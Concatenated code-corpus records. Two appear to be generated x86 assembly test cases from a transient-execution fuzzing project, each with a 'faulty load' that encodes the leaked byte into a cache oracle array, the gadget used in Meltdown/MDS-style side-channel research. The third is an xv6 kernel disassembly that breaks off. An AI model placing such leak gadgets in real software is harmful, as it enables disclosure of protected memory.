nop
and %rdx, %rdx
lea addresses_UC_ht+0xac58, %r9
add %r10, %r10
movb (%r9), %cl
nop
nop
nop
nop
nop
xor %r9, %r9
lea addresses_UC_ht+0x9a58, %rsi
lea addresses_normal_ht+0x15ff0, %rdi
nop
nop
nop
nop
nop
and $40513, %rbp
mov $97, %rcx
rep movsl
nop
nop
xor %r10, %r10
lea addresses_WC_ht+0x1c1f8, %r9
nop
nop
sub %rdi, %rdi
movb $0x61, (%r9)
nop
nop
nop
and $34671, %r9
lea addresses_D_ht+0x14176, %rbp
sub %r10, %r10
vmovups (%rbp), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
sub %r10, %r10
lea addresses_WC_ht+0x16203, %rdi
nop
nop
sub $16380, %r9
mov (%rdi), %ebp
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_UC_ht+0x25f8, %rbp
cmp $27558, %r9
movb $0x61, (%rbp)
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x6220, %rsi
nop
nop
dec %rbp
mov (%rsi), %rdx
sub %r10, %r10
lea addresses_normal_ht+0x18f8, %r9
nop
nop
nop
nop
cmp $9083, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
movups %xmm1, (%r9)
nop
nop
nop
nop
cmp $6225, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x13cb8, %rbx
nop
nop
sub %rax, %rax
movl $0x51525354, (%rbx)
nop
nop
nop
nop
add %rax, %rax
// REPMOV
lea addresses_RW+0xda10, %rsi
lea addresses_A+0x367e, %rdi
nop
sub %r10, %r10
mov $112, %rcx
rep movsq
nop
nop
nop
nop
nop
and %rdi, %rdi
// Store
lea addresses_normal+0x166d8, %r10
nop
nop
nop
nop
xor $4463, %rbx
mov $0x5152535455565758, %r9
movq %r9, %xmm0
movups %xmm0, (%r10)
nop
nop
nop
nop
inc %rcx
// Faulty Load
lea addresses_US+0x1f5f8, %r10
nop
cmp %r14, %r14
mov (%r10), %edi
lea oracles, %r10
and $0xff, %rdi
shlq $12, %rdi
mov (%r10,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_RW'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'00': 12}
00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Transynther/x86/_processed/NONE/_st_zr_/i7-8650U_0xd2.log_18926_1232.asm
|
ljhsiun2/medusa
| 9 |
98049
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x19022, %r14
nop
add %rsi, %rsi
movw $0x6162, (%r14)
nop
nop
nop
nop
nop
xor %r9, %r9
lea addresses_WT_ht+0xe58c, %rcx
nop
nop
nop
nop
sub %r10, %r10
movb $0x61, (%rcx)
nop
nop
nop
lfence
lea addresses_normal_ht+0x15cec, %rax
clflush (%rax)
sub $46386, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
movups %xmm2, (%rax)
nop
nop
cmp %rcx, %rcx
lea addresses_WC_ht+0x1a6b2, %r9
xor %rcx, %rcx
movw $0x6162, (%r9)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_A_ht+0x89ec, %rsi
lea addresses_UC_ht+0x1d8ec, %rdi
nop
add %rax, %rax
mov $83, %rcx
rep movsw
nop
xor %r10, %r10
lea addresses_UC_ht+0x119ec, %r10
clflush (%r10)
nop
and %rcx, %rcx
mov $0x6162636465666768, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r10)
xor %rsi, %rsi
lea addresses_WT_ht+0x1e0ec, %r14
add $36056, %rcx
movb (%r14), %r9b
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_D_ht+0x1c6ec, %rsi
lea addresses_WT_ht+0xa1ec, %rdi
nop
nop
nop
cmp %r10, %r10
mov $117, %rcx
rep movsq
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_UC_ht+0xf522, %rdi
nop
nop
inc %r14
vmovups (%rdi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r10
nop
nop
nop
nop
nop
xor %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_D+0x11cec, %rsi
lea addresses_A+0xfc0c, %rdi
nop
nop
nop
inc %rax
mov $27, %rcx
rep movsb
cmp %rsi, %rsi
// Store
lea addresses_WC+0x14a60, %rsi
nop
nop
nop
inc %rdi
mov $0x5152535455565758, %rax
movq %rax, %xmm4
vmovups %ymm4, (%rsi)
nop
nop
nop
and $11798, %rax
// Store
lea addresses_PSE+0x9515, %rdi
sub $52151, %r11
mov $0x5152535455565758, %r15
movq %r15, %xmm4
movups %xmm4, (%rdi)
nop
nop
nop
add $36639, %rsi
// Store
lea addresses_D+0x5a64, %rdx
nop
nop
sub %rax, %rax
movb $0x51, (%rdx)
nop
nop
nop
nop
nop
add %r15, %r15
// Store
lea addresses_US+0x38ec, %rsi
nop
nop
nop
nop
and %rdx, %rdx
movb $0x51, (%rsi)
nop
nop
nop
xor %r11, %r11
// Faulty Load
lea addresses_WT+0xf8ec, %r11
nop
nop
nop
nop
nop
xor %r15, %r15
movups (%r11), %xmm3
vpextrq $1, %xmm3, %rsi
lea oracles, %rax
and $0xff, %rsi
shlq $12, %rsi
mov (%rax,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'00': 18881, '36': 45}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Transynther/x86/_processed/NC/_ht_/i9-9900K_12_0xa0_notsx.log_1_1436.asm
|
ljhsiun2/medusa
| 9 |
175751
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x5e47, %rsi
lea addresses_WT_ht+0x1c1c7, %rdi
nop
nop
dec %rbp
mov $67, %rcx
rep movsq
nop
nop
nop
nop
nop
and $40202, %rdi
lea addresses_WC_ht+0x1e6ca, %r13
nop
nop
dec %rax
mov (%r13), %edi
inc %rbp
lea addresses_D_ht+0x10943, %rsi
lea addresses_WT_ht+0x5907, %rdi
nop
nop
nop
nop
nop
and $49028, %r13
mov $114, %rcx
rep movsw
dec %rcx
lea addresses_normal_ht+0x163a7, %rcx
sub %r14, %r14
mov (%rcx), %esi
nop
xor %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Store
mov $0x4d3cae00000005c7, %rdi
clflush (%rdi)
nop
nop
nop
nop
cmp $38922, %rcx
movb $0x51, (%rdi)
nop
nop
xor %rax, %rax
// Load
lea addresses_PSE+0x85c7, %rbx
nop
nop
nop
sub $17808, %rsi
movb (%rbx), %al
nop
nop
nop
and %rsi, %rsi
// Store
lea addresses_WC+0x61c7, %rcx
nop
nop
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %rax
movq %rax, %xmm3
vmovups %ymm3, (%rcx)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
// Store
lea addresses_UC+0xf85c, %r14
nop
nop
nop
and %rcx, %rcx
movb $0x51, (%r14)
nop
nop
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_normal+0x3b77, %r14
nop
nop
nop
cmp $14140, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, (%r14)
sub %rdi, %rdi
// Faulty Load
mov $0x4d3cae00000005c7, %rbx
nop
nop
nop
nop
add %r11, %r11
movups (%rbx), %xmm5
vpextrq $1, %xmm5, %rdi
lea oracles, %rbx
and $0xff, %rdi
shlq $12, %rdi
mov (%rbx,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}}
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'46': 1}
46
*/
|
kernel.asm
|
indu-rallabhandi/WEEK-8
| 0 |
99235
|
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 .byte 0xe4
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 90 10 00 mov $0x109000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 50 2e 10 80 mov $0x80102e50,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
80100034: 66 90 xchg %ax,%ax
80100036: 66 90 xchg %ax,%ax
80100038: 66 90 xchg %ax,%ax
8010003a: 66 90 xchg %ax,%ax
8010003c: 66 90 xchg %ax,%ax
8010003e: 66 90 xchg %ax,%ax
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx
struct buf head;
} bcache;
void
binit(void)
{
80100049: 83 ec 0c sub $0xc,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
8010004c: 68 40 6f 10 80 push $0x80106f40
80100051: 68 c0 b5 10 80 push $0x8010b5c0
80100056: e8 b5 41 00 00 call 80104210 <initlock>
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
8010005b: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c
80100062: fc 10 80
bcache.head.next = &bcache.head;
80100065: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10
8010006c: fc 10 80
8010006f: 83 c4 10 add $0x10,%esp
80100072: ba bc fc 10 80 mov $0x8010fcbc,%edx
80100077: eb 09 jmp 80100082 <binit+0x42>
80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100080: 89 c3 mov %eax,%ebx
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
80100082: 8d 43 0c lea 0xc(%ebx),%eax
80100085: 83 ec 08 sub $0x8,%esp
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
b->next = bcache.head.next;
80100088: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100092: 68 47 6f 10 80 push $0x80106f47
80100097: 50 push %eax
80100098: e8 43 40 00 00 call 801040e0 <initsleeplock>
bcache.head.next->prev = b;
8010009d: a1 10 fd 10 80 mov 0x8010fd10,%eax
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a2: 83 c4 10 add $0x10,%esp
801000a5: 89 da mov %ebx,%edx
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
801000a7: 89 58 50 mov %ebx,0x50(%eax)
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
801000b0: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000b6: 3d bc fc 10 80 cmp $0x8010fcbc,%eax
801000bb: 75 c3 jne 80100080 <binit+0x40>
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000bd: 8b 5d fc mov -0x4(%ebp),%ebx
801000c0: c9 leave
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 18 sub $0x18,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
801000dc: 8b 7d 0c mov 0xc(%ebp),%edi
static struct buf*
bget(uint dev, uint blockno)
{
struct buf *b;
acquire(&bcache.lock);
801000df: 68 c0 b5 10 80 push $0x8010b5c0
801000e4: e8 87 42 00 00 call 80104370 <acquire>
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000e9: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx
801000ef: 83 c4 10 add $0x10,%esp
801000f2: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
801000f8: 75 11 jne 8010010b <bread+0x3b>
801000fa: eb 24 jmp 80100120 <bread+0x50>
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
// Not cached; recycle an unused buffer.
// Even if refcnt==0, B_DIRTY indicates a buffer is in use
// because log.c has modified it but not yet committed it.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx
80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 60 jmp 80100190 <bread+0xc0>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100139: 74 55 je 80100190 <bread+0xc0>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
8010015a: 83 ec 0c sub $0xc,%esp
8010015d: 68 c0 b5 10 80 push $0x8010b5c0
80100162: e8 b9 42 00 00 call 80104420 <release>
acquiresleep(&b->lock);
80100167: 8d 43 0c lea 0xc(%ebx),%eax
8010016a: 89 04 24 mov %eax,(%esp)
8010016d: e8 ae 3f 00 00 call 80104120 <acquiresleep>
80100172: 83 c4 10 add $0x10,%esp
bread(uint dev, uint blockno)
{
struct buf *b;
b = bget(dev, blockno);
if((b->flags & B_VALID) == 0) {
80100175: f6 03 02 testb $0x2,(%ebx)
80100178: 75 0c jne 80100186 <bread+0xb6>
iderw(b);
8010017a: 83 ec 0c sub $0xc,%esp
8010017d: 53 push %ebx
8010017e: e8 5d 1f 00 00 call 801020e0 <iderw>
80100183: 83 c4 10 add $0x10,%esp
}
return b;
}
80100186: 8d 65 f4 lea -0xc(%ebp),%esp
80100189: 89 d8 mov %ebx,%eax
8010018b: 5b pop %ebx
8010018c: 5e pop %esi
8010018d: 5f pop %edi
8010018e: 5d pop %ebp
8010018f: c3 ret
release(&bcache.lock);
acquiresleep(&b->lock);
return b;
}
}
panic("bget: no buffers");
80100190: 83 ec 0c sub $0xc,%esp
80100193: 68 4e 6f 10 80 push $0x80106f4e
80100198: e8 d3 01 00 00 call 80100370 <panic>
8010019d: 8d 76 00 lea 0x0(%esi),%esi
801001a0 <bwrite>:
}
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 10 sub $0x10,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
801001ad: 50 push %eax
801001ae: e8 0d 40 00 00 call 801041c0 <holdingsleep>
801001b3: 83 c4 10 add $0x10,%esp
801001b6: 85 c0 test %eax,%eax
801001b8: 74 0f je 801001c9 <bwrite+0x29>
panic("bwrite");
b->flags |= B_DIRTY;
801001ba: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
